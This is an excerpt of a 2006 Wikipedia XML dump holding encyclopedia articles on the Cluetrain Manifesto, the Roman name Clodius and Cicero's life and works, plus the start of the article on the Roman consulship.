There is little doubt that the Internet has changed the way people communicate across the world; whether the world has been changed exactly as the 'cluetrain manifesto' charges is another thing. There are certainly new ways of communicating; in some cases businesses have benefited and in some others businesses have been hurt badly.

Whether human beings have gained the type of power ascribed to them when they talk human to human across the Internet is still to be proven. Some bloggers have caught the limelight from time to time, just as the proponents did with 'cluetrain', and perhaps they may be onto something, but not exactly  what they stated in the manifesto.

Fundamental to the cluetrain manifesto was the premise that the internet provided a new and unique forum for communication that would ultimately shift the nature of business communication and marketing. Essentially, the change that is central to this text is one of breaking down corporate barriers and forming a conversation between those within and those outside a corporation -- [[online marketing]] would be more about holding conversations with people rather than broadcasting half-truths about products and services. 

The authors of the manifesto suggested that such a shift would occur through substantial and pervasive changes in current company to consumer interaction. Communication would shift from mission statements and marketing media aimed at consumer segments to open dialogues or conversations between businesses and consumers.

Since publication, however, the use of mass-media marketing has not been fundamentally shifted from its use within organisations as the key means of communicating with consumers. And, although advertsing on the Internet has grown over the intervening years, it remains, generally, an online version of the same style of mass-media marketing. 

Although a number of companies have aimed to achieve customisation of marketing material to the point where it is tailored to a single individual, this remains a one-way dialogue which is the antithesis of what the authors propose as the ideal.

==Opposition==
During the height of the 'cluetrain Internet buzz' there were both supporters and opponents making their point online. The conversation spawned by 'the cluetrain manifesto' website, in some instances, was taken to be almost a religious faith to which one ascribed. Quite notably the technical oriented who were adept in building websites, writing blogs and making themselves heard on the Internet were often the most ardent adherents.

Even some of the opponents to the idea took the concepts of 'cluetrain' to be cultish. For example, [http://www.pcmag.com/article2/0,1759,43161,00.asp John C. Dvorak in PC Magazine]:

:&quot;. . . the apparent faith in this odd vision of an idealistic human-oriented internetworked new world/new economy marches forward. I imagine all these folks holding hands in a large circle, rolling back and forth, with some in the middle of the circle, spinning and chanting and hugging, all naked. I'm betting that most of these folks go to Burning Man and all of them write blogs about it and how cool it was. They link to each others' blogs and read what they say about each other—all highly complimentary.&quot;

Opponents to the concept of 'cluetrain' point to the fact that the Internet cannot be conceptualized so unitarily as &quot;a conversation&quot; or that the human activity online cannot be so neatly compacted into the notion of 'conversation'. It may be true that there are some conversations online, but rather, it would seem that the Internet would be better described as  a chaotic place with spam coursing through its veins, filters manipulating the viewing of websites, email, blogs and other forms of communication, noise, and some human voices being heard above the babble and confusion.

Obviously there are some companies that seem to be doing extremely well without recourse to enabling conversations on the Internet -- such as WalMart, for example. There are other companies that have paid attention to the cluetrain concept and taken up conversation online and are doing both extremely well and in some cases very poorly (such as PayPal as a poor Internet communicator).

Many business people have paid some attention to 'cluetrain', [http://www.sun.com/aboutsun/media/blogs/ such as Sun] starting blogged conversations online for each of their executives, but many also have completely rejected the notion and continued with their TV-industrial ways.

==Related work==
A website which attempts to embrace (and perhaps extend) at least some of the 'cluetrain vision' is Microsoft's [[Channel9]]. The introduction to Channel9 states:

:Welcome to Channel 9.  We are five guys at Microsoft who want a new level of communication between Microsoft and developers. We believe that we will all benefit from a little dialogue these days. This is our first attempt to move beyond the newsgroup, the blog, and the press release to talk with each other, human to human.

Some may interpret this activity of Microsoft employees as moving on from blogging and website writing -- others see Channel9 as a highly regulated site stifling the human voice, even though it is meant to be allowing humans talk to humans. Some would allege that Channel9 is perhaps another corporate con.

While not exactly on this topic [[Purple cow]] has some similarities in terms of how marketing is to be done in this era of the Internet.

==External links==
* [http://www.cluetrain.com/ Cluetrain web site] - Original site, now declared a &quot;Read-Only Landmark&quot;
* [http://www.gluetrain.com/  Direct parody of Cluetrain Web site]
* [http://www.searls.com/cluetrain/ Text of the ''cluetrain manifesto'']
* [http://doc.weblogs.com/ Doc Searls Weblog]
* [http://www.pcmag.com/article2/0,1759,43161,00.asp Cult of the Cluetrain Manifesto] - a viewpoint questioning the cluetrain manifesto and its application
* [http://www.amazon.com/exec/obidos/ASIN/0738204315 the cluetrain manifesto] - book at Amazon.com.
* [http://www.fullcirc.com/community/localclue.htm The Cluetrain Local 599] - an interpretation of cluetrain manifesto for people on a local level.
* [http://www.artsjournal.com/artfulmanager/main/000152.php Catching a clue from the cluetrain manifesto] - an interpretation of its meaning to people in arts organizations.

[[Category:Electronic commerce|Cluetrain Manifesto, The]]
[[Category:Business books|Cluetrain Manifesto, The]]

[[de:Cluetrain-Manifest]]</text>
    </revision>
  </page>
  <page>
    <title>Clodius</title>
    <id>6045</id>
    <revision>
      <id>38604601</id>
      <timestamp>2006-02-07T12:09:04Z</timestamp>
      <contributor>
        <username>Mhaesen</username>
        <id>342312</id>
      </contributor>
      <text xml:space="preserve">'''Clodius''' is the [[Rome|Roman]] [[nomen]] [[Claudius]] altered to a spelling that would have sounded [[plebeian]] to Roman ears.  The original alteration was a political maneuver by P. Clodius Pulcher.

* [[Publius Clodius|Publius Clodius Pulcher]], Republican politician
* [[Clodia]], second sister of Publius Clodius
* [[Clodius Aesopus]], tragedian [[50s BC]]
* [[Caius Clodius Vestalis]], possible builder of [[Via Clodia]]
* [[Publius Clodius Thrasea Paetus]], senator during [[Nero]]
* [[Lucius Clodius Macer]], [[legatus]] who revolted against [[Nero]]
* Publius Clodius Quirinalis, from [[Arelate]] in [[Gaul]], teacher of [[rhetoric]] in time of [[Nero]]
* [[Clodius Albinus|Decimus Clodius Albinus]], rival emperor [[196]]-[[197]]
* [[Pupienus and Balbinus|Marcus Clodius Pupienus Maximus]] co-emperor [[238]]

[[Clodio]] the Longhair, a chieftain of the [[Salian Franks]], is sometime called &quot;Clodius I&quot;.

[[Category:Families of Rome]]
[[de:Clodius]]
[[nl:Gens Clodia]]</text>
    </revision>
  </page>
  <page>
    <title>Cicero</title>
    <id>6046</id>
    <revision>
      <id>42068469</id>
      <timestamp>2006-03-03T16:25:53Z</timestamp>
      <contributor>
        <username>Misza13</username>
        <id>330574</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/72.10.96.132|72.10.96.132]] to last version by DanielCD</comment>
      <text xml:space="preserve">:'' For other uses see [[Cicero (disambiguation)]]''

'''Marcus [[Tullius]] Cicero''' (standard English pronunciation {{IPA|[ˈsɪsərəʊ]}}; Classical [[Latin]] pronunciation {{IPA|[ˈkikero]}}) ([[January 3]], [[106 BC]] &amp;ndash; [[December 7]], [[43 BC]]) was an [[orator]] and [[statesman]] of [[Ancient Rome]], and is generally considered the greatest [[Latin]] [[oratory|orator]] and [[prose]] stylist.

[[Image:CiceroBust.jpg|frame|Cicero at about age 60, from an ancient marble bust]]

==Biography==

Cicero was born in [[Arpinum]] and killed at [[Formia]] while fleeing from political enemies. &quot;It is no exaggeration&quot;, wrote Taylor (as cited in &quot;References&quot;), &quot;to say that the most brilliant era of Roman public life was ushered in by Cicero and closed by his death&amp;mdash;he stood at its cradle and he followed its hearse.&quot; His family, the Tullii, were one of the [[landed gentry]] in Arpinum and resented the fame and fortunes of the other great Arpinate families, the [[Gaius Marius|Marii]]. Throughout his life, the [[conservative]] Cicero loathed being compared to the then more famous [[Marius]].  The name &quot;Cicero&quot; is derived from ''cicer'', the Latin word for &quot;[[chickpea]].&quot;  [[Plutarch]] explains that the name was originally applied to one of Cicero's ancestors who had a cleft in the tip of his nose, which resembled that of a chickpea. In fact (Plutarch continues), Cicero was urged to change the theretofore-ignoble name when he entered politics, but he refused.

===Early life===
According to Plutarch, he was an extremely adept student, learning so well and rapidly that he attracted attention from all over Rome. He was especially fond of [[poetry]], although he shied away from no scholarly field.  In [[89 BC]]-[[88 BC]], Cicero served on the staffs of [[Gnaeus Pompeius Strabo]] and [[Lucius Cornelius Sulla]] as they campaigned in the [[Social War]], though he had no taste for war. Cicero also had a love for almost everything Greek, and even stated in his will that he wanted to be buried in Greece. He found the ancient philosophers such as [[Plato]] very thought provoking.

Cicero served as [[quaestor]] in western [[Sicily]] in [[75 BC]]. He wrote that in Sicily he saw the gravestone of [[Archimedes of Syracuse]], on which was carved Archimedes' favorite discovery in [[geometry]], that the [[ratio]] of the volume of a [[sphere]] to that of the smallest right circular [[cylinder (geometry)|cylinder]] in which it fits is 2:3. He built an extremely successful, and first attained prominence for his successful prosecution in August [[70 BC]] of [[Verres|Gaius Verres]], the former governor of [[Sicily]]. Despite his great successes as an advocate, Cicero suffered from his lack of reputable ancestry; as no Tullius had been [[consul]] before him, he was neither [[nobility|noble]] nor [[patrician]], and his family was considered unimportant. He was further hindered by the fact that the last man to have been elected to the consulate without consular ancestors (i.e., the last &quot;New Man&quot;, or ''Novus Homo'') had been the political radical and militarily innovative Marius.

===Consul===
In [[63 BC]], Cicero became the first ''[[novus homo]]'' in more than thirty years by being elected consul. His only significant historical accomplishment during his year in office was the suppression of the [[Catiline|Catiline conspiracy]], a plot to overthrow the [[Roman Republic]] led by [[Lucius Sergius Catilina]], a disaffected patrician. Cicero procured a ''[[senatus consultum ultimum|senatus consultum de re publica defendenda]]'' (a declaration of [[martial law]], also called the ''senatus consultum ultimum'') and drove Catiline out of the city by four vehement speeches in which he described the debauchery of Catiline and his followers, describing them as a company of dissolute senators and other assorted roués who were deep in debt and latched onto Catiline as a last hope. At the end of the first speech, Catiline burst from the Temple of Jupiter Stator, where the Senate had been convened, and made his way to Etruria. The other three speeches were therefore not directly addressed at him (as the first one was -- the main theme was something on the order of &quot;leave Rome, and take your mob with you!&quot;) but at the people or Senate, depending on the particular speech, to steel them for action in case the worst happened, as well as exposing more evidence against Cataline.

Catiline fled but left behind his 'deputies' who would start the revolution from within whilst Catiline assaulted it from without with an army recruited among [[Sulla]]'s veterans in [[Etruria]]. Cicero managed to have these 'deputies' of Catiline confess their crime in front of the entire [[Roman Senate|Senate]], after ambushing an embassy they had sent to a [[Gallic]] tribe. The tribe, the [[Allobroges]], had been in contact with Catiline's faction, but were of conflicted loyalties: The tribe was a client of [[Quintus Fabius Sanga]], who was loyal to Rome, but some in the tribe wanted to join with Catiline. In the end, the affair seems to have ended up as something of a &quot;sting,&quot; with the emissaries knowing beforehand about the Roman ambush, and planning to hand the conspirators and their messages to Cicero.  

The Senate then deliberated upon the punishment to be given to the conspirators. As it was a [[legislative]] rather than a [[judicial]] body, there were limits on its power to do so; however, martial law was in effect, and it was feared that simple house arrest or exile - the standard options - would not remove the threat to the State. At first most in the Senate spoke for the 'extreme penalty'; many were then swayed by [[Julius Caesar]] who spoke decrying the precedent it would set and argued in favor of the punishment being confined to a mode of banishment. [[Cato the Younger|Cato]] then rose in defense of the [[death penalty]] and all the Senate finally agreed on the matter. Cicero had the conspirators taken to the [[Tullianum]], the notorious Roman prison, where they were hanged. Cicero himself accompanied the former consul [[Publius Cornelius Lentulus Sura]], one of the conspirators, to the [[Tullianum]]. After the executions had been carried out, Cicero announced the deaths by the formulaic expression &quot;They have lived,&quot; meant to ward off ill fortune by avoiding the direct mention of death. He received the honorific &quot;''[[Pater Patriae]]''&quot; for his actions in suppressing the conspiracy, but thereafter lived in fear of trial or exile for having put Roman citizens to death without trial. He also received the first public thanksgiving for a civic accomplishment; heretofore it had been a purely military honor.

Cicero's [[Pro Flacco]] oration provides a uniquely early and clear example of anti-Semitism; in this speech, Cicero plays upon several stereotypical themes which have been echoed throughout the last two millennia.  The case involved the defense of [[Lucius Valerius Flaccus]], a Roman aristocrat, who was accused of (among other things) unlawfully confiscating Jewish funds which had been collected for the maintenance of the [[Second_Temple|Temple at Jerusalem]]. In defense of Flaccus, Cicero made arguments regarding the public site which had been selected for the open-air tribunal: &quot;Now let us take a look at the Jews and their mania for gold. You chose this site, [chief prosecutor] Laelius, and the crowd which frequents it, with an eye to this particular accusation, knowing very well that Jews with their large numbers and tendency to act as a clique are valuable supporters to have at any kind of public meeting.&quot;

===Exile and return===
In [[58 BC]], the [[populist]] [[Publius Clodius Pulcher]] introduced a law exiling any man who had put Roman citizens to death without trial. Although Cicero maintained that the sweeping ''[[senatus consultum ultimum]]'' granted him in 63 BC had indemnified him against legal penalty, he nevertheless appeared ragged in public and began to beg for support from the people. Seeing that he could not go out in public without being lambasted by Clodius's heavies, he dedicated a statue to [[Minerva]] in the [[Roman Forum|Forum]] and left [[Italy]] for a year and spent his quasi-exile setting his speeches to paper. In letters to his friend [[Titus Pomponius Atticus|Atticus]], Cicero maintained that the Senate was jealous of his accomplishments which was why they did not save him from exile. 

Cicero returned after over a dozen months from his exile to a cheering crowd, much in the manner of [[Demosthenes]], which the historian [[Appian]] pointed out. During the 50s, Cicero supported the populist [[Titus Annius Milo|Milo]] to use as a spear head against Clodius, who continued to use his popular support to establish terror in the streets. During the mid-50s, Clodius was killed by Milo's [[gladiator]]s on the [[Via Appia]]. Cicero defended Milo on counts of murder from the relatives of Clodius, yet failed. Despite this failure, Cicero's ''Pro Milone'' was considered by some as his ultimate masterpiece. Cicero argued that Milo had no reason to kill Clodius and had all to gain from his living, pointing out that Milo had no idea that he would encounter Clodius on the Via Appia. The prosecution, however, pointed out that Milo had freed his slaves who were with him during the bout with Clodius so that they could not testify against him in court on charges that he had ordered the killing of Clodius. Cicero rejected this, saying that Milo's slaves had defended him honorably and deserved to be free, seeing as how they had saved their master ''from an attack by Clodius.'' Milo fled into exile and continued to live in [[Marseille|Massilia]] until he returned to stir up further trouble during the [[Roman Civil War|Civil War]]. 

As the struggle between [[Pompey]] and [[Julius Caesar]] grew more intense in [[50 BC]], Cicero favored Pompey but tried to avoid turning Caesar into a permanent enemy. When Caesar invaded Italy in [[49 BC]], Cicero fled Rome. Caesar attempted vainly to convince him to return, and in June of that year Cicero slipped out of Italy and traveled to Dyrrachium ([[Epidamnos]]) {{ref|Everitt}}.In [[48 BC]], Cicero was with the Pompeians at the camp of [[Pharsalus]] and quarreled with many of the Republican commanders, including a son of Pompey. They in turn disgusted him by their bloody attitudes. He returned to Rome, however, after Caesar's victory at Pharsalus.  

In a letter to [[Marcus Terentius Varro|Varro]] on [[April 20]] [[46 BC]], Cicero indicated what he saw as his role under the dictatorship of Caesar: &quot;I advise you to do what I am advising myself &amp;#8211; avoid being seen, even if we cannot avoid being talked about... If our voices are no longer heard in the Senate and in the Forum, let us follow the example of the ancient sages and serve our country through our writings, concentrating on questions of [[ethics]] and [[constitutional law]].&quot;

In February [[45 BC]], Cicero's daughter Tullia died. He never entirely recovered from this shock.

===Opposition to Mark Antony, and death===
Cicero was taken completely by surprise when the ''[[Liberatores]]'' assassinated Caesar on the [[Ides of March]] [[44 BC]]. In a letter to the [[conspirator]] [[Trebonius]], Cicero expressed a wish of having been &quot;...invited to that superb banquet&quot; Cicero became a popular leader during the instability and was disgusted with [[Mark Antony]], Caesar's former Master of the Horse who was hoping to take revenge upon the murderers of Caesar by first having him not outlawed a tyrant so that the Caesarians could have lawful support, in exchange for amnesty for the assassins which the Senate agreed to.

Cicero and Antony, Caesar's subordinate, became the leading men in Rome; Cicero as spokesman for the Senate, and Antony as consul and as executor of Caesar's will. But the two men had never been on friendly terms, and their relationship worsened after Cicero made it clear he felt Antony to be taking unfair liberties in interpreting Caesar's wishes and intentions. When [[Augustus Caesar|Octavian]], Caesar's heir, arrived in Italy in April, Cicero formed a plan to play him against Antony. In September he began attacking Antony in a series of speeches he called the [[Philippic]]s. Praising Octavian to the skies, he labeled him a &quot;God-Sent Child&quot; and said he only desired honor and that he would not make the same mistake as his Uncle. Meanwhile, his attacks on Antony, whom he called a &quot;sheep,&quot; rallied the Senate in firm opposition to Antony. During this time, Cicero became an unrivaled popular leader and, according to the historian Appian, &quot;had the power any popular leader could possibly have.&quot; He was at the height of his fame. As popular leader, Cicero heavily fined the supporters of Antony for petty charges and had volunteers forge arms for the Republicans. It turned out to be so insulting that a right hand man of Antony was preparing to march on Rome to arrest Cicero. Cicero fled the city and the plan was abandoned. Appian is the only one to give this tale of a march on Rome for the arrest of Cicero. 

Cicero supported [[Marcus Junius Brutus]] as governor of [[Cisalpine Gaul]] (''Gallia Cisalpina'') and urged the Senate to name Antony an enemy of the state. One [[tribune]], a certain [[Salvius]], delayed these proceedings and was &quot;reviled,&quot; as Appian put it, by Cicero and his party. The speech of [[Lucius Piso]], Caesar's father-in-law, delayed proceedings against Antony. Antony was later declared an [[enemy of the state]] when he refused to lift the siege of [[Mutina]], which was in the hands of one of Caesar's assassins, Decimus Brutus, who also was named a second son in Caesar's will. Cicero described his position in a letter to [[Gaius Cassius Longinus|Cassius]], one of Caesar's [[assassin]]s, that same September:  &quot;I am pleased that you like my motion in the Senate and the speech accompanying it... Antony is a madman, corrupt and much worse than Caesar - whom you declared the worst of evil men when you killed him. Antony wants to start a bloodbath...&quot;

Cicero's plan to drive out Octavian and Antony failed, however. The two reconciled and allied with [[Lepidus]] to form the [[Second Triumvirate]] after the successive battles of Mutina. Immediately after legislating their alliance into official existence for a five-year term with consular ''[[imperium]]'', the Triumviri began [[proscription|proscribing]] their enemies and potential rivals. Cicero and his younger brother [[Quintus Tullius Cicero]], formerly one of Caesar's [[legatus|legates]], and all of their contacts and supporters were numbered among the enemies of the state. 

Antony hunted for Cicero most viciously among the proscribed. Many men fell bravely, with many stories of bravery and virtue according to historical accounts. One victim turned out to be the tribune Salvius, who, after siding with Antony, moved his support directly and fully to Cicero. Salvius held a dinner party for his friends because he knew he would not be around for long and wished to have one last gathering to say goodbye. The legionaries burst into the party and beheaded Salvius in front of his friends. 

Cicero was viewed with pity by many, and many claimed not to have seen him. He fled, but was caught at one of his [[villa]]s after going to retrieve money. He fled by the coast of the nearby villa. When the executioners arrived, his slaves said they did not see him, yet a dependent of Clodius said otherwise. His last words were said to have been &quot;there is nothing proper about what you are doing, soldier, but do try to kill me properly.&quot; He was decapitated by his pursuers on [[December 7]], [[43 BC]]; his head and hands were displayed on the [[Rostra]] in the [[Forum Romanum]] according to the tradition of [[Marius]] and [[Sulla]], both of whom had displayed the heads of their enemies in the Forum. He was the only victim of the Triumvirate's proscriptions to have been so displayed after death. According to Cassius Dio (often mistakenly attributed to Plutarch), Antony's wife [[Fulvia]] took Cicero's head, pulled out his tongue, and jabbed the tongue repeatedly with her hairpin, taking a final revenge against Cicero's power of speech.

Even after both his death and the death of the Republic, however, Cicero's memory survived. He was declared a &quot;Righteous Pagan&quot; by the early Catholic Church, and therefore many of his works were deemed worthy of preservation. Saint Augustine and others quoted liberally from his works &quot;The Republic&quot; and &quot;The Laws,&quot; and it is due to this that we are able to recreate much of the work from the surviving fragments. 

Another story of his fame may suffice as well: Caesar's heir Octavian was to become [[Augustus]], Rome's first emperor, and it is said that in his later life he came upon one of his grandsons reading a book by Cicero.  The boy, fearing his grandfather's reaction, tried to hide the book in the folds of his tunic.  Augustus saw this, however, and took the book from him, standing as he read the greater part of it.  He then handed the volume back to his grandson with the words &quot;he was a learned man, dear child, a learned man who loved his country.&quot;

== Works ==
=== Books ===
Of Cicero's books, six on rhetoric have survived, as well as parts of seven on philosophy.
=== Speeches ===
Of his speeches, eighty-eight were recorded, but only fifty-eight survive. (Some of the items below are more than one speech.)

==== Judicial speeches ====
* (81 BC) ''[[Pro Quinctio]]'' (''On behalf of [[Publius Quinctius]]'')
* (80 BC) ''[[Pro Sex. Roscio Amerino]]'' (''On behalf of [[Sextus Roscius of Ameria]]'')
* (77 BC) ''[[Pro Q. Roscio Comoedo]]'' (''On behalf of [[Quintus Roscius the Actor]]'')
* (70 BC) ''[[Divinatio in Caecilium]]'' (''Spoken against [[Caecilius]] at the inquiry concerning the prosecution of [[Verres]]'')
* (70 BC) ''[[In Verrem]]'' (''Against [[Gaius Verres]]'', or ''The Verrines'')
* (69 BC) ''[[Pro Tullio]]'' (''On behalf of [[Tullius]]'')
* (69 BC) ''[[Pro Fonteio]]'' (''On behalf of [[Marcus Fonteius]]'')
* (69 BC) ''[[Pro Caecina]]'' (''On behalf of [[Aulus Caecina]]'')
* (66 BC) ''[[Pro Cluentio]]'' (''On behalf of [[Aulus Cluentius]]'')
* (63 BC) ''[[Pro Rabirio Perduellionis Reo]]'' (''On behalf of [[Rabirius]] on a Charge of Treason'')
* (63 BC) ''[[Pro Murena]]'' (''On behalf of [[Lucius Murena]]'')
* (62 BC) ''[[Pro Sulla]]'' (''On behalf of [[Sulla]]'')
* (62 BC) ''[[Pro Archia Poeta]]'' (''On behalf of the poet [[Archias]]'')
* (59 BC) ''[[Pro Flacco]]'' (''On behalf of [[Flaccus]]'')
* (56 BC) ''[[Pro Sestio]]'' (''On behalf of [[Sestius]]'')
* (56 BC) ''[[In Vatinium]]'' (''Against [[Vatinius]] at the trial of [[Sestius]]'')
* (56 BC) ''[[Pro Caelio]]'' (''On behalf of [[Marcus Caelius Rufus]]'') 
* (56 BC) ''[[Pro Balbo]]'' (''On behalf of [[Cornelius Balbus]]'')
* (54 BC) ''[[Pro Plancio]]''  (''On behalf of [[Plancius]]'')
* (54 BC) ''[[Pro Rabirio Postumo]]'' (''On behalf of [[Rabirius Postumus]]'')

==== Political speeches ====
; Early career (before exile)
* (66 BC) ''[[Pro Lege Manilia]]'' or ''[[De Imperio Cn. Pompei]]'' (''in favor of the [[Manilian Law]] on the command of [[Pompey]]'')
* (63 BC) ''[[De Lege Agraria contra Rullum]]'' (''Opposing the [[Agrarian Law]] proposed by [[Rullus]]'')
* (63 BC) ''[[In Catilinam I-IV]]'' (''[[Catiline Orations]]'' or ''Against [[Catiline]]'') [http://www.uah.edu/student_life/organizations/SAL/claslattexts/cicero/incatilinam.html]
* ([[59 BC]]) ''[[Pro Flacco]]'' (''In Defense of Flaccus'')

; Mid career (after exile)
* (57 BC) ''[[Post Reditum in Quirites]]'' (''To the Citizens after his recall from exile'')
* (57 BC) ''[[Post Reditum in Senatu]]'' (''To the [[Roman Senate|Senate]] after his recall from exile'')
* (57 BC) ''[[De Domo Sua]]'' (''On his House'')
* (57 BC) ''[[De Haruspicum Responsis]]'' (''On the Responses of the [[Haruspices]]'')
* (56 BC) ''[[De Provinciis Consularibus]]'' (''On the Consular Provinces'')
* (55 BC) ''[[In Pisonem]]'' (''Against [[Piso]]'')

; Late career
* ([[52 BC]]) ''[[Pro Milone]]'' (''On behalf of [[Titus Annius Milo]]'') 
* ([[46 BC]]) ''[[Pro Marcello]]'' (''On behalf of [[Gaius Claudius Marcellus|Marcellus]]'')
* (46 BC) ''[[Pro Ligario]]'' (''On behalf of [[Ligarius]] before Caesar'')
* (46 BC) ''[[Pro Rege Deiotaro]]'' (''On behalf of [[King Deiotarius]] before Caesar'')
* ([[44 BC]]) ''[[Philippicae]]'' (''consisting of the 14 [[philippic]]s ''[[Philippica]] I-XIV'' against ''[[Marc Antony|Marcus Antonius]]) [http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus%3Atext%3A1999.02.0021]

(The ''Pro Marcello'', ''Pro Ligario'', and ''Pro Rege Deiotaro'' are collectively known as &quot;The Caesarian speeches&quot;).

=== Philosophy ===
==== Rhetoric ====
* ([[84 BC]]) ''[[De Inventione]]'' (''The composition of arguments'')
* ([[55 BC]]) ''[[De Oratore]]'' (''The orator'')
* ([[54 BC]]) ''[[De Partitionibus Oratoriae]]'' (''The subdivisions of oratory'')
* ([[52 BC]]) ''[[De Optimo Genere Oratorum]]'' (''The Best Kind of Orators'')
* (46 BC) ''[[Brutus (Cicero)|Brutus]]'' (''The Brutus, a short history of Roman oratory'')
* (46 BC) ''[[Orator ad M. Brutum]]'' (''The Orator, also dedicated to Brutus'')
* (44 BC) ''[[Topica]]'' (''Topics of argumentation'')
* (?? BC) ''[[Rhetorica ad Herennium]]'' (traditionally attributed to Cicero, but currently disputed)

==== Other philosophical works ====
* ([[51 BC]]) ''[[De Republica]]'' (''On the Republic'') 
* ([[45 BC]]) ''[[Hortensius]]'' (''Hortensius'')
* (45 BC) ''[[Lucullus or Academica Priora]]'' (''The Prior Academics'')
* (45 BC) ''[[Academica Posteriora]]'' (''The Later Academics'')
* (45 BC) ''[[De Finibus, Bonorum et Malorum]]'' (''About the Ends of Goods and Evils''). [http://www.epicurus.info/etexts/De_Finibus.html] Source of [[Lorem ipsum]]
* (45 BC) ''[[Tusculanae Quaestiones]]'' (''Questions debated at Tusculum'')
* (45 BC) ''[[De Natura Deorum]]'' (''The Nature of the Gods'')
* (45 BC) ''[[De Divinatione]]'' (''Divination'')
* (45 BC) ''[[De Fato]]'' (''The Fate'')
* (44 BC) ''[[Cato Maior de Senectute]]'' (''Cato the Elder [[On Old Age]]'')
* (44 BC) ''[[Laelius de Amicitia]]'' (''Laelius [[On Friendship]]'')
* (44 BC) ''[[De Officiis]]'' (''Duties'') 
* (?? BC) ''[[Paradoxa Stoicorum]]'' (''Stoic Paradoxes'')
* (?? BC) ''[[De Legibus]]'' (''The Laws'')
* (?? BC) ''[[De Consulatu Suo]]'' (''His Consulship'')
* (?? BC) ''[[De temporibus suis]]'' (''His Life and Times'')
* (?? BC) ''[[Commentariolum Petitionis]]'' (''Handbook of Candidacy'') [http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus:text:1999.02.0022:text=Pet.:section=1] (attributed to Cicero, but probably written by his brother Quintus)

=== Letters ===
More than 800 letters by Cicero to others exist, and over 100 letters from others to him.

* ([[68 BC]]-[[43 BC]]) ''[[Epistulae ad Atticum]]'' (''Letters to Atticus'')
* ([[59 BC]]-[[54 BC]]) ''[[Epistulae ad Quintum Fratrem]]'' (''Letters to his brother Quintus'')
* ([[43 BC]]) ''[[Epistulae ad Brutum]]'' (''Letters to Brutus'')
* (43 BC) ''[[Epistulae ad Familiares]]'' (''Letters to his friends'')

==See also== 
*[[Marcus Tullius Tiro]]
*[[Cicero and the Roman Republic]]

== References ==
# {{note|Everitt}} Everitt pp. 215  ''see sources below''
== Sources ==
* [[Anthony Everitt]] ([[2001]]), ''Cicero: the life and times of Rome's greatest politician'', [[Random House]], hardback, 359 pages,  ISBN 0-375-50746-9
* Taylor, H. (1918). ''Cicero: A sketch of his life and works.'' Chicago: A. C. McClurg &amp;amp; Co.


==Further reading==
* [[Francis A. Yates]] ([[1974]]). ''The Art of Memory'', University of Chicago Press, 448 pages, Reprint: ISBN 0226950018
* [[Taylor Caldwell]] ([[1965]]), ''A Pillar of Iron'', Doubleday &amp; Company

==External links==
{{Wikisourcelang|la|Marcus Tullius Cicero|Marcus Tullius Cicero}}
{{wikiquote}}
* General:
** [http://gracie.smsu.edu/cicero.htm Links to Cicero resources]
** [http://www.utexas.edu/depts/classics/documents/Cic.html University of Texas Cicero Homepage] 
**[http://www.iep.utm.edu/c/cicero.htm]
* Works by Cicero:
** {{gutenberg author| id=Marcus+Tullius+Cicero | name=Cicero}}
** [[Perseus Project]] (Latin and English): [http://www.perseus.tufts.edu/cache/perscoll_Greco-Roman.html Classics Collection (see: M. Tullius Cicero)]
** [[The Latin Library]] (Latin): [http://www.thelatinlibrary.com/cic.html Works of Cicero]
** UAH (Latin, with translation notes): [http://www.uah.edu/student_life/organizations/SAL/claslattexts/cicero.html Cicero Page]
** ''[http://www.constitution.org/rom/de_officiis.htm De Officiis]'', translated by Walter Miller
* Biographies and descriptions of Cicero's time:
** At Project Gutenberg
*** [[Plutarch]]'s biography of Cicero contained in the [http://www.gutenberg.org/etext/674 ''Parallel Lives'']
*** ''Life of Cicero'' by Anthony Trollope, [http://www.gutenberg.org/etext/8945 Volume I] - [Volume II]
*** [http://www.gutenberg.org/etext/11448 ''Cicero'' by Rev. W. Lucas Collins (''Ancient Classics for English Readers'')]
*** [http://www.gutenberg.org/etext/13481 ''Roman life in the days of Cicero'' by Rev. Alfred J. Church]
*** [http://www.gutenberg.org/etext/11256 ''Social life at Rome in the Age of Cicero''] by [[W. Warde Fowler]]
** [http://www.heraklia.fws1.com/contemporaries/cicero At Heraklia website]
** [http://classics.mit.edu/Plutarch/cicero.html Dryden's translation of ''Cicero'' from Plutarch's ''Parallel Lives'']
**[http://community.middlebury.edu/~harris/LatinAuthors/Cicero.html At Middlebury College website]
**[http://freewebs.com/praetorbrutus]

==Notes==
&lt;small&gt;1- Official full name of Cicero. The meaning in English is &quot;Marcus Tullius Cicero, son (''filius'') of Marcus, grandson (''nepos'') of Marcus, great-grandson (''pronepos'') of Marcus, of the tribe Cornelia&quot;.

{{Plutarch's lives}}

[[Category:106 BC births]]
[[Category:43 BC deaths]]
[[Category:Ancient Roman rhetoricians]]
[[Category:Roman era philosophers]]
[[Category:Latin authors]]
[[Category:Natives of the Lazio]]
[[Category:Roman jurists]]
[[Category:Rhetoric]]
[[Category:Rhetoric]]
[[Category:Executed writers]]
[[Category:Executed Romans]]
[[Category:Classical humanists]]
[[Category:Rhetoricians]]
[[Category:Historical figures portrayed by Shakespeare]]

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      <text xml:space="preserve">:''For modern, semi-diplomatic or colonial '''consuls''', see [[Consul (representative)]].''

'''Consul''' (abbrev. ''cos.''; Latin plural ''consules'') was the highest elected office of the [[Roman Republic]] and an appointive office under the [[Roman Empire|Empire]]. The title was also used in other city states, and revived in modern states, notably [[French Republic|Republican France]] before Napoleon turned it into an [[First French Empire|Empire]]. 

The relating adjective is '''consular''', from the Latin ''consularis'' (which has been used substantivated, as a title in its own right).

==Ancient Rome==
{{Roman government}}

===Republic===
After the mythical expulsion of the last Etruscan King [[Tarquinius Superbus]] and the ending of the [[Roman Kingdom]], all the powers and authority of the King were alledgedly given to the newly instituted Consulship. However, it is likely that first the chief magistrates were the [[Praetor]]s. The office of Consul was believed to date back to the traditional establishment of the Republic in [[509 BC]] but the succession of Consuls is not continuous in the [[5th century BC|5th century]]. Consuls had extensive competences in peacetime, administrative, legislative and judicial, and in (frequent) war time often held the highest military command(s); additional religious duties included certain rites which, as a sign of their formal impotance, could only be carried out by top level state officials (compare [[Rex sacrorum]]); the reading of the [[augury|auguries]] was an essential step before leading armies into the field.

Under the laws of the Republic, the minimum age of election to consul for [[patrician]]s was 40 years of age, for [[plebeian]]s 42. Two consuls were elected each year, serving together with veto power over each other's actions, a normal principle for magistratures. 

